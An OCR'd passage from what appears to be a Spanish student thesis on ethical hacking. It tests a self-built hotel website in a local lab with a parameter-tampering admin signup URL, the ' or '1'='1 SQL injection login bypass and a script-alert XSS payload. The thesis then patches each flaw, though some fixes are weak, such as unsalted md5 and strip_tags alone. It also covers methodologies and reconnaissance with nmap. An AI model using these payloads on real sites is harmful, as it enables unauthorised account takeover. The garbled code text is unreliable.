£} Most Visited @ Offensive Security @ Kali Linux &) KaliDocs @) Kali Tools € Exploit-DB »

Principal Blsquec _ogir Registro

Bienvenidos al buscador de hoteles I 1

Creado por Jaume C.

Confirma la contrase

Completar registro

llustracién 48 - Formulario de registro de COWEB
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Vamos a empezar por crear un usuario. Cuando clicamos sobre el boton de registro
podemos ver el formulario el cual nos pide un usuario y la contrasena con su confirmacion.
Vamos a crear el usuario “jaume” con contrasena “jaume”. Antes de clicar en el botén de
“Completar registro” vamos a pulsar F12 en Firefox, vamos a la pestana “Network” y
filtramos por el trafico HTML.

[E] cOwWEB x [+

(— = ( £ 192.168.1.45/index.php - D W I @O =
4} Most Visited @ Offensive Security & Kali Linux @ Kali Docs @ Kali Tools @) Exploit-DB »
il [@ Insp: Con: Debt Style Perfc Mem Metw 5 BH B B M | FE' *

- . All BRERYIN CSS IS
Blenvenldos a.l || W XHR Fonts Images [ |Persistlogs [ ]Disable cache

Media WS Oth
buscador de hotele “

Filter URLs E

rd
N U M E Ro 1 Status Method File Do... Cause Type Transfem

regist.. & 19..document html 14.91 KB

Creado por Jaume C.

200 GET index... & 19..document html 14.90 Kfv
@ 3requests 424.62KB/425.61KB transferred = Finish: 377 v
Headers Cookies Params Response Timings
L - Filter request parameters
OS mejores Query string
! teles admin: NO
. cpassword: jaume
ihpuedes eNCoOnttar una tabla Rathe: JRUm.

password: jaume

p losmeteles meéjor puritiados'
del mundo

signup: Completar+registro

llustracién 49 - Resultado del analisis de trafico HTML para el registro de COWEB

Una vez creado el usuario y con el analisis del trafico HTML podemos ver que hemos
capturado una peticion GET de la pagina “register.php” y podemos ver todos los parametros
pasados en la URL. Observamos que hay un parametro oculto, ya que la pagina no nos lo
ha pedido en ninguin momento del formulario de registro, el de admin, el cual pone por
defecto “NO”.

Una vez analizado el registro de un nuevo usuario y teniendo toda la informacién recopilada,
vamos a pasar a intentar crear otro usuario pero esta vez directamente por la URL, ahora
que sabemos qué parametros son los que pasa por la URL.

URL:

http://192.168.1.45/register.php?name=fakeadmin&password=fakeadmin&cpassword=fakea
dmin&admin=YES&signup=Completar+registro
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COWEB x |+

<=2 C O ‘ Q_ password=fakeadmin&admin=YES&signup=Completar+registro —)‘ N

£} Most Visited @ Offensive Security & Kali Linux @ Kali Docs @ Kali Tools @ Exploit-DB »

llustraciéon XX - URL con el registro de usuario en COWEB

Principal Blsgueda Login

fakeadmin

Bienvenidos al buscador de hot ..., ERO 1

Creado por Jaume C.
Login

| e . BRL KRR A et i i e S
llustracién 50 - Login con la cuenta fakeadmin en COWEB

[ COWEB x | +
« > C 0 ® 192.168.1.45/index.php - O In @ =
4+ Most Visited & Offensive Security @ Kali Linux & Kali Docs @) Kali Tools @) Exploit-DB »

Principal

Bienvenidos al buscador de hoteles NUMERO 1

llustracién 51 - Pagina principal como usuario fakeadmin en COWEB

Haciendo un login con los credenciales que hemos introducido por URL podemos ver como
se ha creado la cuenta satisfactoriamente. Ademas, hemos introducido el parametro
“admin=yes” y hemos podido crear un usuario con permisos de administrador.

= = | B localhost / 127.0.04 /ot X I + — X
<« = 0O @ | localhost/phpmyadmin/sgl.php?server=18&db=cowebaitable=usersépos=0 >r = 1o

php ; CHServidor: 127.0.0.1 » @ Base de datos: coweb » [ Tabla: users

aElen&Ee =| Examinar 34 Estructura @[] SQL , Buscar #*¢ Insertar = Exportar [ Importar | ¥ Mas
Reciente Favoritas
- [J Mostrartode | Numero de filas: | 25 Filtrar filas: | Buscar en esta tabla Ordenar segun la clave: | Ninc
o Nueva
=1 coweb + Opciones
|3 Nueva | P v uid user pass admin

+L1» users [0 & Editar % Copiar @ Borrar 9 cowebadmin cowebadmin YES
s Inforutanioe, ctama [ 4 Editar 3z Copiar @ Borrar 10 | ' NO
@ G mysqi & #: Copiar @ jaume jaume
I . = . - .
4+ | performance_schema [0 47 Editar 3c Copiar @ Borrar 11 fakeadmin fakeadmin YES

+L. 2| phpmvadmin

llustracién 52 - Usuarios de la base de datos del servidor Windows de COWEB
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En este punto que podemos crear usuarios con permisos de administrador sin problema
alguno procedemos a testear el login. Los formularios que conectan con bases de datos
suelen ser un objetivo clave a la hora de atacar o probar vulnerabilidades. Ahora vamos a
introducir la siguiente consulta: “or '"1'='1". Si la consulta a la base de datos esta mal
construida o concatenada se puede usar la consulta anterior en el usuario o contrasefia
para colarnos como el primer usuario de la tabla.

Principal Blisgueda Login

‘or "1'='1

Bienvenidos al buscador de hot .......... ERO 1

Creado por Jaume C.
Login

[ o BRE G AT AN b et R
llustracion 53 - Introduccion de la consulta como usuario y contrasefia

COWEB x |+
“)=> ¢ @ (® 192.168.1.45/index.php - @ % N @O =
4+ Most Visited @) Offensive Security @ Kali Linux &) KaliDocs @) Kali Tools @) Exploit-DB »

Principal

Bienvenido! Te has logeado como cowebadmin | ADMINI

Bienvenidos al buscador de hoteles NUMERO 1

Creado nor Jaume C.
llustracion 54 - Resultado de la introduccion de SQLI

Como resultado podemos ver que al introducir esa consulta nos ha entrado con el usuario 1
de la base de datos, que es el administrador del sitio y ahora tenemos el control absoluto de
la pagina web. Mediante esta prueba podemos decir que la web es vulnerable a SQL
injection y es un problema muy grave, ya que cualquiera puede entrar como administrador.

Vamos a ver el cédigo de la pagina de “login.php” y a corregir el error de vulnerabilidad que
tenemos.
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FOLDERS 4p login.php

htdocs 1 <2php

boots

img i

e ($_SESSION[ "u =) 4

xampp er(“Location: index.php”);
[w] bannerimg,jpg 3 i : Sl
e (isset($_GET[ 'login'])) {

= il B $name - $_GET['logname’];

(% db_cannectphe : $password - $_GET["logp
[ favicon.ico $result &
[ getcities.php
[ index.php ay
[ login.php $row[ "uid'];
™ logoutphp 13 ame " | $row[ "user'];
5 Niesictes php $_SESSION[® n'] $row[ 'admin’];
o servidor..php header(“Location: index.php");

s

echo("Incorrect Email or Password!!!");

llustracién 55 - Codigo de login.php

Lo primero que vemos en el codigo es que se esta usando el método GET en vez de POST,
esto va a ser lo primero que vamos a cambiar para mas seguridad. Seguidamente podemos
apreciar que para hacer la consulta con la base de datos se utiliza “mysqli_query” y como se
ha comentado anteriormente, se concatena la busqueda, es decir, selecciona todo de la
tabla usuarios donde el usuario sea el parametro que pasamos por la URL y la contrasefa
sea la misma. Para solucionar el problema con SQL injection simplemente tenemos que
agregar a las variables pasadas por parametro la siguiente  funcion:
“mysqli_real_escape_string”. Otra cosa que podemos hacer para aumentar la seguridad
seria encriptar la contrasena, ya que se guarda en la base de datos sin proteccion alguna.
El cédigo quedaria asi:

FOLDERS 4p login.php
htdocs ] <?ph
| boots n_start();
i Ly : ("db_connect.php”);
e et ($_SESSION[ v id 1) 1="") {
xampp {"Location: index.php");

1
& b . - -
Sl (isset($_POST[ "login'])) {

[ busqueda.php

DY ot $name = m i real e rag(:’f-conn, $_POST[ ’lc:grlwame' 1);
= $password - m e ring($conn, $_POST['logpa

& faviconico 8 $result C $conn, " users use

(3 getcities.php ' and pas ($password) . """);

[ indexphp 1 ($row ysqgli _array($result)) {

3 login.php 1 $_SESSION['user_id’'] = $row['uid'];

O logoutphp 3 ["us name’ ] $row[ 'user'];

'admi;'] $row[ "admin’];

[ register.php
("Location: index.php");

[ servidor.php

echo("Incorrect Email or Password!!!");

llustracién 56 - Codigo modificado de login.php
Se ha modificado la parte pertinente en el formulario de login en “index.php” para que el

método sea “post” en vez de “get”. Como resultado podemos comprobar que en el
formulario ya no es posible hacer SQL injection y la pagina esta protegida.

48



192.168.1.45/loginphp X | +

&= C @ ({ 192.168.1.45/login.phy - 2 In @0 =
£} Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @) Kali Tools @) Exploit-DB »

Incorrect Email or Password!!!

llustracién 57 - Resultado fallido de introduccién de SQL injection

Ahora vamos a modificar la parte de registro para arreglar los problemas de creacion de
usuarios.

class="nav-item">

<z href="#" data-to "dropdown™ class="btn
btn-primary dropdow ggle get-started-btn mt-1 mb-1
"»Registro</=>

< class="dropdown-menu form-wrapper”>

gister.php” method="get">»
form-group™>

form-control ame"” placeholder
="Usuario” required="required”>

>
class="form-group”>
“password” cla
name="

name="cpassword”
Confirma la contrasefia”
="reguired”>»

'hidden™ name="admin" v

ty "submit™ name="
"btn btn-primary btn-block
Completar registro">»

llustracién 58 - Cédigo de la parte de registro de index.php
Lo primero de todo que vamos a eliminar va a ser el campo oculto que pasamos como
parametro del formulario en el cual ponemos como valor de administrador “NO”. Este
apartado lo borramos y lo pasaremos directamente en la consulta de SQL. Otra

modificacion basica que hacemos es cambiar el método del formulario por “POST".

Vamos a ver el codigo de “register.php”.
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FOLDER% 4>

htdocs

boots

img

jquery

xampp
[Z] bannerimgjpg
[ busqueda.php
™ db_connect.php
[ favicon.ico
[ getcities.php
[ indexphp
3 login.php
[ logoutphp
[ registerphp
[ servidor.php

register.php

<?php

("db_connect.php™);
start();
($_SESSION[ ‘user_id"])) {
| Location: index.php™);

$error = false;
t($_GET['signup’'])) {

(

$_GET['name'];
$_GET[ 'admin’];
$_GET['p

$name
$admin
$password
$cpassword
( _mat
$error
$uname_er

$error
$password
($password
$error
$cpassword_error = sword and Confirm Password doesn't match™;

$cpassword) {

(!%error) {
(r _query($conn, "
$name 5 $admin . "',
header(“Location: index.php”);

(user, admin,
md5 ($password)

use

I
L

echo("Error en el registro™);

llustracion 59 - Codigo de register.php

Lo que vamos a modificar en este codigo van a ser los métodos con los que coje las
variables, vamos a cambiarlos por “POST” y como hicimos en “login.php” vamos a agregar
la funcién “mysqli_real_escape_string” a las variables. A parte, vamos a borrar la parte de
obtener el parametro de ADMIN y lo pasamos por el insert de la base de datos.

FOLDERS
htdocs
boots
img
jquery
xampp
[Z] bannerimg,jpg
3 busqueda.php
[ db_cannect.php
[&] favicon.ico
[™ getcities.php
[ index.php
@ login.php
3 logoutphp
[ register.php
[ servidor.php

4p

register.php

$name - m
$password ;($conn, $ POST[ 'password’']);
($conn, $_POST[ "cpassword™]);
i >$name)) { -
$error ;
$uname_error "Name must contain only alphabets and space”;
1
(strlen($password)
ferror
$password_error

3 |

word must be minimum of 6 characters™;

!
($password

$cpassword) {
ferror true;
$cpassword_error

“"Password and Confirm Password doesn’'t match”;

users(user, admin, pa

$name

header("Location:

md5($password) it T B O |
index.php™);

llustracién 60 - Cédigo modificado de register.php
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COWEB X =

(— = € @ ® A& 192.168.1.45/index.php 4 In @ =

£+ Most Visited @ Offensive Security @ Kali Linux @) Kali Docs @ Kali Tools @) Exploit-DB »
= [@ Insps Conc Debt Style Perfc Mem MNetw S HEH B B0 8 x
All BgilGIN CS5 JS

Il T XHR Fonts Images [|PersistLogs [|Disable cache
. & Media WS Other
Bienvenidos al Flter URLs g

Status Method

buscaglor de hoteles s
NUMERO 1 SET

@ 3requests 4245
Creado por Jaume C. Headers Cookies Params Response Timings

Request URL: http://192.168.1.45/register.php
Request method: PosT
Remote address: 192.168.1.45:88
Status code: A 3062 Found (P Editand Resend Raw headers
Version: HTTP/1.1

Filter headers

PLCL LT LNIL WUy, YL,y i =

Accept-Language: en-US,en;q=0.5

Connection: keep-alive -
llustracién 61 - Resultado de creacién de un nuevo usuario en COWEB

De esta forma hemos ocultado los parametros de la URL, impidiendo que los usuarios

sepan qué estructura se utiliza para la creacion de usuarios. Asimismo pasamos el

parametro de admin en la consulta de SQL y no como parametro, impidiendo a los usuarios
poder crear usuarios con permisos de administrador.

Vamos a ver el apartado de busqueda de la pagina web, que aun no hemos testeado.
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COWEB r 3Bl e

&) & O @ & 192.168.1.45/busqueda.php - @ N @

£+ Most Visited @ Offensive Security &) Kali Linux &) KaliDocs @ Kali Tools &) Exploit-DB »

Blisqueda

Busqueda de hoteles en la
base de datos

iEncuentra los hoteles que disponemos en nuestra base de datos!

Buscar

llustracioén 62 - Pagina de busqueda de COWEB

La funcién de este formulario es muy sencilla, simplemente nos muestra por pantalla lo que
escribimos para buscar.

192.168.1.45/search.php X | +

= C @& @ 192.168.1.45/search.php e @ N @

4+ Most Visited @) Offensive Security @ Kali Linux @ Kali Docs @) Kali Tools &) Exploit-DB »

Has buscado Hotel W Barcelona

llustracién 63 - Resultado de busqueda de COWEB

Vamos a probar la introduccion de codigo JavaScript.

[3] COWEB x | +
& . = o (@ & 192.168.1.45/busqueda.php - O W N O =
£+ Most Visited @ Offensive Security &) Kali Linux &) Kali Docs @ Kali Tools &) Exploit-DB »

iEncuentra los hoteles que disponemos en nuestra base de datos!

| =<script=alert("Ataque XSS")</scripts]

Buscar

llustracién 64 - Introduccién de cédigo JS en el buscador de COWEB
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= 192.168.1.45/search.php X | +

If\’(—.j > X @ | ® & 192.168.1.45/search.php -~ @ % N

£+ Most Visited @ Offensive Security &) Kali Linux &) Kali Docs @ Kali Tools &) Exploit-DB »

Atague XSS

llustraciéon 65 - Resultado de la introduccion del script en el buscador

El archivo “search.php” no hace ningun control sobre lo que introduce el usuario y podemos
ver en la ilustracion que se ejecuta perfectamente el cédigo JS introducido. Tenemos una
vulnerabilidad de Cross-site scripting o XSS.

Para solucionar este fallo simplemente tenemos que modificar el cédigo php de
“search.php” y agregar una funcion a la hora de tomar los parametros pasados con POST.

FOLDERS search.php
v [ htdocs <2php

* I boots $hotel $_POST[ "hotel’]);

+ Il img $hotel);

» B jquery

llustracién 66 - Cédigo de busqueda arreglado

Al utilizar la funcién de “strip_tags” lo que hacemos es hacer un control sobre el input
introducido por el usuario, borrando los tags que pueda poner y asi evitar que pueda
introducir cédigo malicioso. Hay muchas formas de poder evitar ataques XSS y esta es una
de ellas. Si ahora introducimos el mismo cddigo que anteriormente tendremos:

192.168.1.45/search.php X | 4+

If(—;' > C ® | ® 192.168.1.45/search.php - O ¥ In @
£ Most Visited @ Offensive Security @ KaliLinux @ Kali Docs @ Kali Tools @ Exploit-DB »
Has buscado alert("Ataque XSS")

llustracion 67 - Resultado de la correccion del cédigo de busqueda
Podemos observar que simplemente muestra el string introducido, obviando los tags de

“<script>". De esta forma, ahora tenemos la web segura de ataques de SQL injection y de
XSS.
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5. GLOSARIO

Acunetix - Empresa dedicada a la seguridad informatica, pionera en el desarrollo de
software de automatizacién de seguridad de aplicaciones web.

BadStore - Aplicacion web dedicada para practicar los ataques a las principales
vulnerabilidades web que podemos encontrar a dia de hoy.

Black hat - Un hacker de sombrero negro o black hat es un pirata informatico que viola la
seguridad informatica para obtener beneficios personales o maliciosos.

Blacklist - Es un mecanismo de control de acceso que deniega el acceso al contenido que
sea mediante un listado de distintos elementos, como por ejemplo, direcciones IP.

Bounty Program - También llamado “Bug Bounty Program” es una oferta o trato ofrecido por
paginas web, organizaciones y software developers por la que personas pueden recibir

reconocimiento y una compensacion (normalmente monetaria) por encontrar bugs.

CVE Details - Fuente de informacion de vulnerabilidades de seguridad CVE gratuita. Se
puede consultar los detalles de vulnerabilidad de CVE, exploits, referencias, metasploit...

Decodify - Aplicacién para detectar y decodificar strings encriptados.

DirBuster - Aplicacién disefiada para obtener por fuerza bruta los nombres de directorios y
archivos en servidores web.

Grey hat - Referencia al hacker que actua ilegalmente, pero con buenas intenciones.
Tipicamente un hibrido entre white hat y black hat.

Hacking ético - El hacking ético se define a través de lo que hacen los profesionales que se
dedican a ello, los hackers éticos. Estas personas son contratadas para hackear un sistema

e identificar y reparar posibles vulnerabilidades.

Kali Linux - Distribucion de Linux basada en Debian disefiada principalmente para la
auditoria y seguridad informatica en general. Fundada y mantenida por Offensive Security.

Metasploit mysql_login - Moédulo de Metasploit para encontrar credenciales de servidores
MySQL por fuerza bruta.

nmap - Utilidad open source para rastreo de redes y auditorias de seguridad.

Pentesting - También llamado test de penetracion, consiste en atacar un sistema informatico
para identificar fallos, vulnerabilidades y demas errores de seguridad existentes.
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https://www.acunetix.com/
https://www.vulnhub.com/entry/badstore-123,41/
https://en.wikipedia.org/wiki/Black_hat
https://en.wikipedia.org/wiki/Blacklist_(computing)
https://en.wikipedia.org/wiki/Bug_bounty_program
https://www.cvedetails.com/
https://www.youtube.com/redirect?v=fcgpsmkfZ04&event=video_description&q=https%3A%2F%2Fgithub.com%2FUltimateHackers%2FDecodify&redir_token=o66GO0IIh92ky220Nr3ONB5L9Dt8MTU1NzE4ODQyNEAxNTU3MTAyMDI0
https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project/es
https://en.wikipedia.org/wiki/Grey_hat
https://ticnegocios.camaravalencia.com/servicios/tendencias/que-es-el-hacking-etico/
https://www.kali.org/
https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/
https://nmap.org/
https://es.wikipedia.org/wiki/Examen_de_penetraci%C3%B3n

setoolkit - Herramienta open source enfocada al testeo de penetraciones alrededor de la
ingenieria social.

SQLi - Inyeccion SQL. Método de infiltracion de cddigo intruso que se vale de una
vulnerabilidad presente en una aplicacion en el nivel de validacion de las entradas para
realizar operaciones sobre una base de datos.

sglmap - Software de codigo abierto utilizado para detectar y explotar vulnerabilidades de
bases de datos. Proporciona opciones para inyectar cédigos maliciosos en ellas.

VirtualBox - Software de virtualizacion desarrollado por Oracle Corporation.

White hat - Referencia a un hacker ético especializado en pruebas de penetracién y en otras
metodologias para detectar vulnerabilidades y mejorar la seguridad de los sistemas.
También hace referencia a los hackers que no son agresivos o no realizan actividades
ilicitas.

Wireshark - Es un analizador de protocolos utilizado para realizar analisis y solucionar
problemas en redes de comunicaciones, para desarrollo de software y protocolos y como

una herramienta didactica. Antes conocido como Ethereal.

XSS - Cross-site scripting. Tipo de vulnerabilidad informatica que puede permitir a una
tercera persona inyectar cédigo JavaScript o lenguajes similares.
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https://www.trustedsec.com/social-engineer-toolkit-set/
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6. ANEXOS

En esta seccion se anexan las distintas partes de teoria que no han entrado en el trabajo
principal. Asimismo estas secciones son igualmente importantes y necesarias para el
entendimiento de las distintas vulnerabilidades y metodologias que hay disponibles.

Cabe destacar que previamente estas partes se encontraban dentro del grueso del trabajo
principal pero finalmente se han trasladado a esta seccion.
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6.1. METODOLOGIAS

El hacking ético es una especializacion dentro del ambito de la seguridad informatica la cual
estd mas buscada o reconocida por las grandes empresas a nivel mundial, cada dia crece
la necesidad de tener personas con los suficientes conocimientos en estas areas para poder
contrarrestar los ataques de la creciente comunidad de hackers.

Se usan distintos términos o clasificaciones para diferenciar a los distintos tipos de hacker
los cuales suelen ir definidos por el estatuto juridico de las actividades que realizan. Vamos
a dividirlos en tres grupos principales.

- Hacker de sombrero blanco (White hat): Este tipo de hackers penetra la seguridad
por razones no maliciosas, ya bien sea para poner a prueba la seguridad de su
sistema o bien mientras trabaja para una compaiia de software de seguridad. El
término de white hat hace referencia a un hacker ético. También podriamos incluir en
este grupo las personas que hacen pruebas de penetracion (pentesting) vy
evaluaciones de vulnerabilidad dentro de un acuerdo contractual. Actualmente hay
certificaciones, cursos y clases en linea cubriendo toda la amplia esfera de hacking
ético.

- Hacker de sombrero negro (Black hat): Los hackers de sombrero negro son
personas que violan la seguridad por razones mas alla de la malicia o para el
beneficio personal. Estas personas son la personificacion de todo lo que el publico
teme de un hacker. Las actividades que realizan pueden ir desde entrar a redes
seguras para destruir o encriptar los datos a publicar dichos datos para beneficio
personal.

- Hacker de sombrero gris (Grey hat): Estos hackers son una combinacion de los
white hat y los black hat. Este tipo de hackers puede violar un sistema informatico
con el propésito de notificar al administrador que su sistema ha sido vulnerado,
luego ofreciéndose para reparar dicho sistema por un precio.

La linea que separa a un hacker de sombrero blanco a uno de sombrero negro es muy
delgada. En cuanto a conocimientos ambos tienen la capacidad de reconocer
vulnerabilidades y fallos en sistemas, para sacar provecho de la situacién , el hacker ético o
white hat tiene como objetivo explotar las vulnerabilidades y reportarlas, el fin no es (o no
deberia ser) el sacar provecho econdmico de la situacion, por lo contrario el objetivo es
hacer recomendaciones o disefar soluciones para mejorar el sistema.

El resultado del ataque de los sistemas y redes alrededor de todo el mundo ha provocado la
pérdida o modificacién de los datos sensibles a las organizaciones a lo largo del tiempo,
representando miles o millones de délares. Esta situacion es debido a la ineficiencia de los
esquemas de seguridad con los que cuentan la mayoria de empresas. Para solucionar este
problema existen metodologias para el hacking ético las cuales nos ayudan a alcanzar una
seguridad informatica apropiada para cualquier red o sistema.
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6.1.1. Listado de metodologias

A continuacién se presenta un listado con las metodologias mas importantes y mas
seguidas a dia de hoy en cuanto a seguridad se refiere.

OWASP (Open Web Application Security Project).

UWASP

Open Web Application
Security Project

OWASP es un proyecto de codigo abierto dedicado a determinar y combatir las causas que
hacen que el software sea inseguro. Es una metodologia de pruebas la cual esta enfocada
en la seguridad de aplicaciones. Pretende ayudar a las personas a evaluar y tomar medidas
de seguridad a través de todo el proceso de desarrollo de software. Asimismo se pueden
relacionar los costes de de un software inseguro al impacto sobre el negocio y de este modo
gestionar las decisiones o recursos apropiados para la gestion del riesgo. Las
caracteristicas mas representativas de OWASP son:

- Pruebas de firma digital de aplicaciones Web.
- Comprobaciones del sistema de autenticacion.
- Pruebas de Cross Site Scripting.

- Inyeccion XML

- Inyeccién SOAP

- HTTP Smuggling

- Sql Injection

- LDAP Injection

- Polucién de Parametros

- Cookie Hijacking

- Cross Site Request Forgery

OSSTMM (Open-Source Security Testing Methodology Manual).
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Esta metodologia propone un proceso de evaluacion de una serie de areas las cuales
reflejan los niveles de seguridad presentes en una infraestructura. Dicha metodologia esta
documentada perfectamente en un manual.

Este manual es uno de los estandares profesionales mas completos y utilizados en las
auditorias de seguridad para revisar la seguridad de los sistemas desde internet.Incluye un
marco de trabajo que describe las fases que hay que realizar para la ejecucion de la
auditoria. Este trabajo se ha realizado con la colaboracion de mas de 150 expertos
colaborando entre si a través de internet. Esta metodologia consta de seis partes las cuales
comprenden todo el sistema:

- Seguridad de la informacion.

- Seguridad de los procesos.

- Seguridad de las tecnologias de internet.
- Seguridad de las comunicaciones.

- Seguridad inaldmbrica.

- Seguridad fisica.

El resultado obtenido es un entendimiento profundo sobre la conectividad de todos los

elementos. La gente, procesos, sistemas y todo el software estan relacionados de alguna
forma entre ellos.

ISSAF (Information Systems Security Assessment Framework).

Information Systems Security
Assessment Framework

WWW.0issg.org

Marco metodologico de trabajo desarrollado por la OISSG que permite clasificar la
informacion de la evaluacion de seguridad en diversos dominios usando diferentes criterios
de prueba. Algunas de las caracteristicas mas representativas de ISSAF son:

- Brinda medidas que permiten reflejar las condiciones de escenarios reales para las
evaluaciones de seguridad.

- Esta metodologia se encuentra principalmente enfocada en cubrir los procesos de
seguridad y la evaluacién de los mismos para asi obtener un panorama completo de
las vulnerabilidades existentes.

- Permite el desarrollo de matriz de riesgo para verificar la efectividad en la
implementacion de controles.

CEH (Certified Ethical Hacker).
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Certified I Ethical Hacking

Metodologia de pruebas de seguridad desarrollada por el International Council of Electronic
Commerce Consultants (EC-Council) algunas de las fases enunciadas en esta metodologia
son:

- Obtencién de Informacion.
- Obtencién de acceso.

- Enumeracion.

- Escala de privilegios.

- Informe.

OFFENSIVE SECURITY.

|1‘|

: FjNSl\_’:

\
\
\

Metodologia lider a nivel mundial para el desarrollo de pruebas de penetracién y estudios de
seguridad, la metodologia contempla principalmente los métodos para el desarrollo de
estudios de seguridad enfocados en seguridad ofensiva y teniendo como marco la
posibilidad real de explotacion independientemente de los indicadores de riesgos y
vulnerabilidades, las principales ventajas de adoptar este marco metodolégico son:

- Enfoque sobre la explotacion real de las plataformas.

- Enfoque altamente intrusivo.

- Enfoque orientado a resultados tangibles y no a estadisticas generadas por
herramientas.
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6.1.2. Patrones de hacking

En este apartado vamos a describir una aproximacioén basica sobre el hacking de una
aplicacion. Primero de todo hay que redefinir qué es lo que consideramos éxito. Se puede
considerar como objetivo el encontrar bugs en un programa, encontrar todos los bugs que
se pueda o simplemente hacer dinero. Si por ejemplo el objetivo es encontrar
vulnerabilidades o bugs en aplicaciones importantes, el objetivo de ganar dinero puede no
estar asegurado. Los hackers asiduos hacen pruebas con estas aplicaciones y por ello es
bastante probable que no se pueda encontrar ningun bug nuevo y por lo tanto no recibir una
compensacion economica. Es importante definir el éxito como la experiencia y el
conocimiento ganado, en vez de los bugs encontrados o el dinero ganado. El objetivo
deberia ser el aprender algo nuevo, reconocer patrones y testear nuevas tecnologias.

Redefinir el concepto de éxito de esta forma ayuda a estar positivo durante el hacking, las
vulnerabilidades vendran con el tiempo, ya que mientras las personas estén escribiendo
cédigo, van a cometer errores y por lo tanto habra bugs o vulnerabilidades por descubrir.
Una vez definido el concepto de éxito hay que aplicar una metodologia.

6.1.2.1. Reconocimiento

Antes de empezar a testear una aplicacion siempre hay que hacer un reconocimiento previo
para aprender mas sobre esta. Hay muchas partes a considerar cuando se testea una
aplicacion y se puede empezar haciendo una serie de preguntas basicas:

- ¢Cual es el alcance del programa?

- ¢ Cuantos subdominios tiene la compafiia?

- ¢ Cuantas direcciones IP tiene la comparia?
- ¢ Qué clase de sitio es?

- ¢Qué tecnologias usa?

- ¢En qué lenguaje esta programado?

- ¢Que framework usa?

- ¢Que base de datos tiene?

Estas son solo algunas de las cosas que deberiamos considerar al empezar. También hay
que tener en cuenta que para responder todas estas preguntas y hacer un testeo correcto
de la aplicacién normalmente se utilizan distintas herramientas las cuales se pueden
ejecutar en segundo plano. Estas herramientas que se utilizan para hacer el reconocimiento
y adquirir la informacion que precisamos, se puedan utilizar desde el ordenador propio, pero
se corre el riesgo de que empresas de seguridad o firewalls en la red agreguen la propia IP
en una blacklist impidiendo la navegacion a cualquier pagina web.

Para evitar estos casos, lo que se suele hacer es utilizar un servidor privado virtual (VPS)
desde un hosting remoto el cual permita realizar pruebas seguras desde sus sistemas.
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Vamos a ver a continuacion un listado de pasos a seguir dentro del apartado de
reconocimiento.

1.1. Enumeracion de subdominios.

Se puede empezar el reconocimiento de la aplicacion web por encontrar subdominios
utilizando las VPS. Cuantos mas subdominios se encuentren, mas superficie estara
disponible para el ataque. Hay una aplicaciéon destinada a esta tarea llamada “Subfinder”, la
cual obtiene registros de subdominio para un sitio en concreto, incluyendo registros de
certificados, resultados de motores de busqueda y otros.

Los subdominios asociados a un certificado SSL especifico son faciles de encontrar debido
a los logs de registros transparentes que los certificados SSL registran. Por poner un
ejemplo, si un sitio registra un certificado para “test.example.com”, es muy probable de que
el subdominio exista. Por el contrario, es posible registrar un certificado para un subdominio
“*.example.com” en el cual solo podriamos encontrar subdominios por fuerza bruta.

Para encontrar subdominios a través de fuerza bruta existen distintas “wordlists” las cuales
contienen un listado de los subdominios mas comunes. Por ejemplo la aplicacién
comentada anteriormente nos da esa opcion, otros usuarios han colgado listas las cuales
son publicas para que todo el mundo las utilice, como por ejemplo la lista de Jason Hendrix.
Para buscar certificados SSL, crt.sh es una gran referencia para comprobar si los
certificados comodin (wildcard) han sido registrados.

script-args dns-brute.domain=microsoft.com,dns-brute.threads=6|

map.org ) at 2016-05-09 06:55 EDT

0Tt .c
ftp.microsoft.com -
mail3.micr

oft.com -

- 131.1087.1.
= 131.167.1.5
5
soft.com - 134.
com - 40.127
oft.com - 191.

llustracién 68 - Ejemplo de enumeracion de subdominios

En esta ilustracion podemos ver un ejemplo de la busqueda de subdominios utilizando la
herramienta “nmap” para el dominio de “microsoft.com” utilizando fuerza bruta. En los
resultados podemos apreciar como encuentra todos los subdominios asociados al dominio
principal de “microsoft.com” junto a sus direcciones IP.
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Una vez enumerados todos los subdominios se pueden pasar a los dos puntos siguientes,
los cuales son el escaneo de puertos y las capturas de pantalla de los sitios que se
encuentran.

1.2. Escaneo de puertos.

Una vez enumerados todos los subdominios el siguiente paso es el escaneo de puertos
para identificar mas vectores de ataque. Los resultados obtenidos del escaneo de puertos
pueden ser el indicativo de la seguridad de una empresa. Por poner un ejemplo, una
empresa que ha cerrado todos los puertos excepto el 80 y el 443 (que son los principales
puertos de web HTTP y HTTPS) suele ser sintoma de tener una seguridad buena. En
cambio una empresa la cual tiene muchos puertos abiertos suele tener una seguridad débil
y por lo tanto ser mucho mas vulnerable a ataques.

Hay dos herramientas comunes utilizadas para hacer el escaneo de puertos, que son
“‘Nmap” (la cual ha aparecido en la ilustracion con el ejemplo) y “Masscan”. Ambas
herramientas nos sirven para el propdsito de escanear los puertos, sin embargo “nmap” es
mas antigua y puede ser mas lenta que la otra en caso de no saber optimizarla.

~# nmap 208.91.199.121

Starting Nmap 6.45BETA4 | Lo nap.org ) oat 2017-04-25 16:20 UTC

20 ports
VICE

ftp-data

ft ]

ssh

domain

http

llustracioén 69 - Ejemplo de escaneo de puertos
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Un punto a tener en cuenta cuando se esta haciendo el escaneo de puertos de una lista de
subdominios es la direccion IP de dichos subdominios. Si se encuentra que todos los
subdominios tienen un rango de IPs parecido excepto uno, quizas sea interesante investigar
este dominio diferente. La diferencia del rango en la IP puede ser sinénimo de una
aplicacion de terceros la cual no comparte el mismo nivel de seguridad que el resto de
aplicaciones de la empresa.

1.3. Capturas de pantalla.

Un buen paso para hacer después de tener la lista de subdominios es hacer capturas de
pantalla de estos. Este método es de gran ayuda ya que da una vision global del alcance
del programa. Una vez se revisan las capturas de pantalla hay varios puntos para prestar
atencién. El primero es buscar mensajes de error comunes de servicios que se sabe que
estan asociados con un subdominio.

El segundo es buscar contenido sensible. Por ejemplo, si todos los subdominios
encontrados en “*.asd.example.com” devuelven un error 403 de acceso denegado excepto
un subdominio, el cual tiene un login a una pagina diferente, se deberia investigar dicha
pagina ya que es probable que esté implementando un comportamiento propio y distinto del
resto de paginas. También se deberia vigilar por paginas de logins administrativos, paginas
de instalacion por defecto, etc.

Hay muchas herramientas distintas las cuales se utilizan para hacer las capturas de
pantalla, como por ejemplo “HTTPScreenShot” y “Gowitness”. Estas herramientas se
pueden utilizar con una lista de direcciones IP las cuales va a hacer las capturas de
pantalla, separandolas por grupos segun los mensajes de estas, incluyendo también las
cabeceras HTTP.

Una vez revisados todos los subdominios y teniendo una imagen global de estos, el
siguiente paso es buscar contenido interesante.

1.4. Descubrimiento de contenido.

